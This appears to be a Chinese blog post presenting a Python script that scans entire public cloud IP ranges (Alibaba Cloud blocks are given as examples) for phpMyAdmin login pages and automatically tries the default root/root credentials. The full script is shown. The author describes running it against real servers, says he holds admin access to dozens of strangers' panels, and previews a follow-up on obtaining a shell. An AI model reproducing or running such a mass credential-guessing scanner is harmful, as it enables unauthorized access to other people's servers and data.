编写python脚本批量扫公网云服务器拿phpmyadmin后台
写这篇文章其实是为我的下一篇文章利用phpmyadmin来get shell做铺垫的,因为做渗透是一个逐渐深入的过程。当然信息收集是一开始最为重要的一个过程。我要通过phpmyadmin来拿shell,则肯定需要知道哪些服务器上部署了phpmyadmin。所以自己编写了一个python的脚本实现对整个网段的扫描。
不过开始之前,我想说一些自己的观点&想法。
- 为什么要批量扫云服务器的后台?个人认为随着这几年云计算的的普及,各大云服务器厂商都在抢着分这一块大蛋糕。助力用户迁移上云,这确实为我们带来了很多好处。也使得很多初学者直接着手使用云服务器搭建了自己的网站。不过很多人都喜欢使用一键脚本搭建诸如,像linux使用最广泛的ln(a)mp包(linux,nginx或apache,mysql,php),或者是windows上的phpstudy。这个无可厚非,毕竟这个解决了很多繁琐的步骤,节省了大量时间,对初学者很友好。但是也正因此,许多的安全隐患就暴露出来了,使用这些方式来搭建都有一些共性,刚搭建完成phpmyadmin,phpinfo,探针都是默认在网站根目录下面的。所以直接扫网站根目录即可。
- 很多小白用户就是喜欢在安装过程中一直点下一步或是回车敲到底。导致安装时都是默认配置,以lnmp为例,在用户不选择的情况下,mysql版本默认为5.5.60,php为5.6.36,phpmyadmin的默认账号密码都是root。(不得不说安全中最薄弱的环节还是在 人 )
- 虽然有很多现成的工具可使用,比如御剑,wwwscan等等。但是这些都是针对单个网站目录的扫描,而我要做的是对整个网段的扫描,所以自己写脚本来实现。很多脚本小子对工具都特别依赖,我个人却对这样的做法有点嗤之以鼻。个人觉得做安全是对原理的分析,思维的对抗。懂得工具的原理,哪怕是如法炮制来写一个工具所得到的收获都比脚本小子要强得多,不过这需要一定的编程基础。
不说多的,直接上源码:
import requests import IPy import re import datetime import pymysql db = pymysql.Connect('你的服务器ip', 'mysql用户名', '密码', '数据库名') cursor = db.cursor() ipsegment = input('请输入ip网段:') filename= ipsegment.split('/')[0] file_1= filename+'.txt' file_2 = filename+'_root.txt' payload = {'pma_username': 'root', 'pma_password': 'root'} headers = {'User-Agent' : 'Mozilla/5.0 (Windows NT 6.1; WOW64)'} ip = IPy.IP(ipsegment) phpmyadmin = [] phpmyadmin_root = [] for i in ip: url= 'http://'+str(i) +'/phpmyadmin/index.php' print(url) try: scan_ip = requests.head(url,timeout=0.15,allow_redirects=False) if scan_ip.status_code == 200: try: if re.search('phpmyadmin', scan_ip.headers['Set-Cookie']): print('这是一个phpmyadmin的后台!') phpmyadmin.append(url) try: r = requests.post(url, headers=headers, data=payload) if 'name="login_form"' not in r.text: print('使用默认密码登录成功') password = 'root' version = '' if 'phpStudy' in r.text: version = 'phpStudy' phpmyadmin_root.append(url) else: print('非默认密码!') password = '' version = '' sql = "insert into ip (ip,url,password,version,更新时间) VALUES ('%s','%s','%s','%s','%s')" % (i, url, password, version, datetime.datetime.now()) cursor.execute(sql) db.commit() print(sql) except Exception: pass except KeyError: print('没有set-cookie,非phpmyadmin后台') except Exception: pass db.close() with open(file_1,'w') as f,open(file_2,'w') as e: f.write("\n".join(phpmyadmin)) e.write("\n".join(phpmyadmin_root))
其实会发现,用python写一个脚本也挺简单的。(人生苦短,我用python!)
scan_ip = requests.head(url,timeout=0.15),设置timeout的时间要根据你和该网段之间的延迟来设定,若设置的太小,可能会漏扫,设置的过大会影响整个脚本运行的速度。因为我是把脚本放在我自己的阿里云服务器上运行的,虽然延迟很低,但为了避免漏扫,我还是设置为了0.15s的超时。脚本也用的是http的head方法,提高扫描速度。
另外我懒得写多线程,想同时对多个网段进行扫描的话,直接开多进程即可。但是短时间建立大量的tcp连接,对延时还是有一定影响的。
可能很多人对IPy这个库并不熟悉,可以参考一下https://blog.csdn.net/parameter_/article/details/74942682
这个脚本很简单,但我还是稍作一下解释。就是输入的是一个网段!网段!网段!。我以阿里云的网段为例,比如47.100.0.0/16,47.95.0.0/16 ,47.106.10.0/24等等这种形式。再提醒一下,输入的是一个网段!
因为阿里云在国内云市场独占鳌头,用户数量也最多,所以我就以阿里云的网段为例。
在我的windows服务器运行该脚本。
扫描完成后会在脚本运行的目录下自动生成一个在该网段扫到的ip,可访问的phpmyadmin链接
不过有一点,我要先说明,为了保证脚本的运行速度,我就没对一些301,302的跳转做过滤。不过这个影响不大。
我在对这些扫到的phpmyadmin中还是找到了不少没有改动过默认密码的。。。账号密码都是root。
随便找了一个,打开phpmyadmin的登录界面。
登录成功,看了一下好像也没什么重要的数据。
我目前仅仅扫了几个网段,手里就已经拿到了几十台服务器的phpmyadmin的后台管理权限。(突然感到细思极恐)
这种对整个网段的扫描,是一种扩大攻击面的方法。我的下一篇再详述如何点面结合,如何通过渗透phpmyadmin来getshell。姿势要骚,因为into outfile 的方法已经过时了。感兴趣的话,请关注我的下一篇文章。
赞赏微信赞赏支付宝赞赏
发表评论